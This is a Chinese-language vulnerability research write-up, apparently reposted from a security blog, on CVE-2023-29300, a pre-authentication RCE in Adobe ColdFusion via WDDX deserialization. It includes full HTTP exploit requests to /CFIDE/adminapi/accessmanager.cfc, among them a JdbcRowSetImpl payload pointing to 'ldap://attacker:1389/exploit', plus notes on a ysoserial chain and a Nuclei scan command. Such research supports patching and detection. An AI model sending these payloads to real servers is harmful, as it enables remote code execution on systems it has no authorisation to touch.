分析 CVE-2023-29300：Adobe ColdFusion 预授权 RCE

2023年7月13日12:41:13评论388 views字数 8202阅读27分20秒阅读模式

分析 CVE-2023-29300：Adobe ColdFusion 预授权 RCE

介绍

Adobe ColdFusion 因其强大的 Web 开发功能而受到广泛认可，最近发布了一个重要的安全更新。此次更新特别针对三个安全问题，其中CVE-2023-29300是一个高度关注的预身份验证远程代码执行（RCE）漏洞。此漏洞构成重大威胁，允许恶意行为者在存在漏洞的 Coldfusion 2018、2021 和 2023 安装上执行任意代码，而无需事先进行身份验证。

在这篇博文中，我们的目标是对 CVE-2023-29300 进行全面分析，阐明漏洞的性质及其潜在影响，并分享我们团队进行的代码审核之旅。

补丁里有什么？

在我们的研究环境中，现有的 Adobe ColdFusion 2021 设置已经在我们之前的工作中就位。在发现新的安全更新（版本 7）可用后，我们在确保备份当前安装目录后继续安装它。此安装的目的是执行补丁比较，使我们能够比较安全更新所做的更改，并在必要时回滚。

我们进行了 git diff 并观察到coldfusion.wddx.DeserializerWorker.java文件中的显着变化。

这是一个XML 类型的WDDX数据包解串器。在startElement方法中DeserializerWorker，我们注意到新添加的验证是通过validateWddxFilter() forstruct元素执行的。

public void startElement(String name, AttributeList atts) throws SAXException { try { ... if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) { validateWddxFilter(atts); } ... } catch (WddxDeserializationException e) { throwSAXException(e); } }

private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException { String attributeType = atts.getValue("type"); validateBlockedClass(attributeType); }

private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {

 if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {

throw new InvalidWddxPacketException(); } }

该struct元素现在在其属性中包含新的检查type，确保 className 以开头coldfusion并通过其他辅助检查。该validateBlockedClass函数指示完全限定类名 (FQCN) 将作为类型属性传递。

WDDX数据包的解析

在查看了有关 WDDX 的文档和文章后，我们对 WDDX 数据包的结构有了基本的了解。现在，让我们深入研究这个数据包的解析。每个WDDX元素对应一个特定的处理程序；例如，struct 元素由 StructHandler 处理。由于更改是针对结构元素进行的，因此我们的重点转移到解析 WDDX 结构元素。

<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>

通过阅读、调试、跟踪各种断点，我们理解了解析过程。据观察，Java 反射在某些代码块中广泛使用，这表明用户输入将经历反射调用。

这是解析过程中有趣部分的代码流程：

onEndElement() -> getClassBySignature() -> setBeanProperties()

Finding the Sink

在该方法中，如果 WDDX 数据包的结构元素中提供了类型属性，则会对在代码中之前设置的字段onEndElement()执行检查。m_strictType

     public void onEndElement() throws WddxDeserializationException {          if (this.m_strictType == null) {            setTypeAndValue(this.m_ht);            return;        }        try {            Class beanClass = getClassBySignature(this.m_strictType);            Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);            setBeanProperties(bean, this.m_ht);            setTypeAndValue(bean);        } catch (Exception e) {      ...        }    }

通过此检查后，将调用getClassbySignature()，它使用反射来获取类实例。类名源自用户控制的输入m_strictType，并且第一个和最后一个字符被删除，可能是因为输入预计采用LclassName 的形式；

    private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {        char c = jniTypeSig.charAt(0);        switch (c) {            ...            default:                String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);                return Class.forName(className);        }      }

一旦我们有了类名，就会使用反射来访问类的构造函数，特别是不带参数的构造函数，并实例化该类的实例。然后，该实例与包含 WDDX 变量的setBeanProperties()用户控制字段一起传递到。m_ht

    private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {        Hashtable descriptors;        try {            BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);            PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();            descriptors = new Hashtable();            for (int i = 0; i < descriptorArray.length; i++) {                descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);            }        } catch () {            ...        }        for (String propName : props.keySet()) {            Object propValue = props.get(propName);            IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);            if (indexedPropertyDescriptor != null) {                if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {                    ...                } else {                    Method method2 = indexedPropertyDescriptor.getWriteMethod();                    if (method2 != null) {                        try {                            Class[] types2 = method2.getParameterTypes();                            Object value2 = ObjectConverter.convert(propValue, types2[0]);                            method2.invoke(bean, value2);                        } catch () {                            ...                        }                    }                }               ...            }        }    }

方法getPropertyDescriptors()返回BeanInfo一个对象数组PropertyDescriptor。每个PropertyDescriptor代表 bean 的一个属性，并包含有关属性名称、数据类型和 getter/setter 方法的信息。最终我们看到了 IndexedPropertyDescriptor 的用法，它有getReadMethod和getWriteMethod，分别对应 getter 方法和 setter 方法。我们注意到，如果 bean 有任何 setter 方法，它将被返回，并最终通过 Java Reflections 在 bean 上调用，变量值作为唯一参数，这些变量值来自 WDDX 数据包，这又是用户控制的。

TL;DR：我们发现了一个漏洞，在某些条件下可以调用类的方法：

该类必须有一个不带参数的公共构造函数。
该方法必须是一个 setter，由其名称以“set”开头表示。
setter 方法必须只接受一个参数。

了解了易受攻击的接收器后，我们继续下一步，确定该接收器的预身份验证源。在我们通过搜索反编译代码库进行分析时WddxDeserializer，我们发现了来自该类的调用FilterUtils。

寻找源头

在搜索 WddxDeserializer 的反编译代码库时，我们在 FilterUtils 类中发现了对 WddxDeserializer 的引用。

    public static Object WDDXDeserialize(String str) throws Throwable {        WddxDeserializer deserializer = new WddxDeserializer();        InputSource source = new InputSource(new StringReader(str));        return deserializer.deserialize(source);    }

具体来说，它正在该GetArgumentCollection方法中使用。此方法将请求上下文作为输入，并argumentCollection从表单或查询字符串中提取参数。然后检查检索到的输入以确定其是否为 JSON 类型。如果不是，则使用WDDXDeserialize()调用将该值反序列化为 WDDX 数据包。

    public static Map GetArgumentCollection(FusionContext context) throws Throwable {        Struct argumentCollection;        HttpServletRequest httpServletRequest = context.request;        String attr = (String) context.pageContext.findAttribute("url.argumentCollection");        if (attr == null) {            attr = (String) context.pageContext.findAttribute("form.argumentCollection");        }        if (attr == null) {            argumentCollection = new Struct();        } else {            String attr2 = attr.trim();            if (attr2.charAt(0) == '{') {                argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);            } else {                argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here            }        }

在阅读了有关以前 CVE 的代码库和Rapid7的外部文章后，我们意识到我们需要一个有效的 CFC 端点。在我们的例子中，预身份验证 CFC 端点触发GetArgumentCollection对我们易受攻击的接收器的调用并最终触发调用，即WDDXDeserialize().

我们到达 WDDX 的示例请求StructHandler如下所示：

POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xclassNamex'><var name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>

其中/CFIDE/adminapi/accessmanager.cfc是预验证有效的 CFC 端点。

为了验证我们的原语，我们设置了一个 JVM 调试器并在方法调用处放置了一个断点。为了确认该漏洞，我们选择了一个java.util.Date满足指定要求的简单类。该类具有 setter 方法，例如setDate. 然后，我们在请求中创建了一个类似于以下内容的 WDDX 数据包：

POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>

在此阶段，我们能够确认调用java.util.Date.setDate(our_input)已成功执行。我们的下一个目标是找到一种滥用此原语进行远程代码执行的方法。

将 JNDI 注入升级为 RCE

几个小时后，我们偶然发现了com.sun.rowset.JdbcRowSetImpl符合我们要求的课程。如果将布尔参数传递给setAutoCommit()此类的方法，它将对 dataSourceName 执行 JNDI 查找，可以使用该setDataSourceName()方法设置 dataSourceName。这一发现使我们认识到，setDataSourceName()随后调用setAutoCommit()会导致 JNDI 注入漏洞。需要注意的是，我们在执行方法调用时处于 for 循环中，因此我们能够在 bean 实例上调用多个方法。

在此阶段，我们已通过 WDDX 反序列化升级为 JNDI 注入，这为远程代码执行提供了可能性。

请求如下所示：

POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>

查看类路径，我们注意到有几个commons-beanutils-1.9.4独立的库。我们为恶意 LDAP 服务器生成了 ysoserial java 反序列化有效负载commons-beanutils并将其绑定到该服务器上。这样做会导致在 Adobe ColdFusion 2021（更新 6）上远程执行代码。

分析 CVE-2023-29300：Adobe ColdFusion 预授权 RCE

CVE-2023-29300 的 Nuclei 模板现已在 Nuclei-Templates 存储库中提供 -此处

您可以运行nuclei来扫描 CVE-2023-29300，如下所示：

nuclei -id CVE-2023-29300 -list coldfusion_list.txt

结论

总之，我们的分析揭示了 Adobe ColdFusion 2021（更新 6）内的 WDDX 反序列化过程中存在重大漏洞。通过利用该漏洞，我们能够实现远程代码执行。该问题源于 Java Reflection API 的不安全使用，允许调用某些方法。

要利用此漏洞，通常需要访问有效的 CFC 端点。但是，如果由于 ColdFusion 锁定模式而无法直接访问默认的预身份验证 CFC 端点，则可能会将此漏洞与 CVE-2023-29298 结合起来。这种组合可以针对易受攻击的 ColdFusion 实例进行远程代码执行，即使它配置为锁定模式也是如此。

原文始发于微信公众号（Ots安全）：分析 CVE-2023-29300：Adobe ColdFusion 预授权 RCE

左青龙
微信扫一扫

右白虎
微信扫一扫

分析 CVE-2023-29300：Adobe ColdFusion 预授权 RCE

【漏洞预警】Docker Desktop 远程代码执行漏洞

CVE-2023-42442：JumpServer未授权访问漏洞

漏洞预警 | 蓝网科技临床浏览系统 SQL注入漏洞

(未公开1day)JieLink+智能终端操作平台某接口存在敏感信息泄露(新接口+大量存在)

【0DAY】湖南建研工程质量检测系统Download接口处存在任意文件读取漏洞

【漏洞复现】Ruvar OA协同办公平台存在多处SQL注入漏洞

漏洞预警 | 瑞友天翼应用虚拟化系统SQL注入漏洞

漏洞预警 | 畅捷通T+ SQL注入漏洞

漏洞预警 | FUXA SQL注入漏洞

漏洞预警 | Linux kernel整数下溢漏洞

发表评论

在线咨询

微信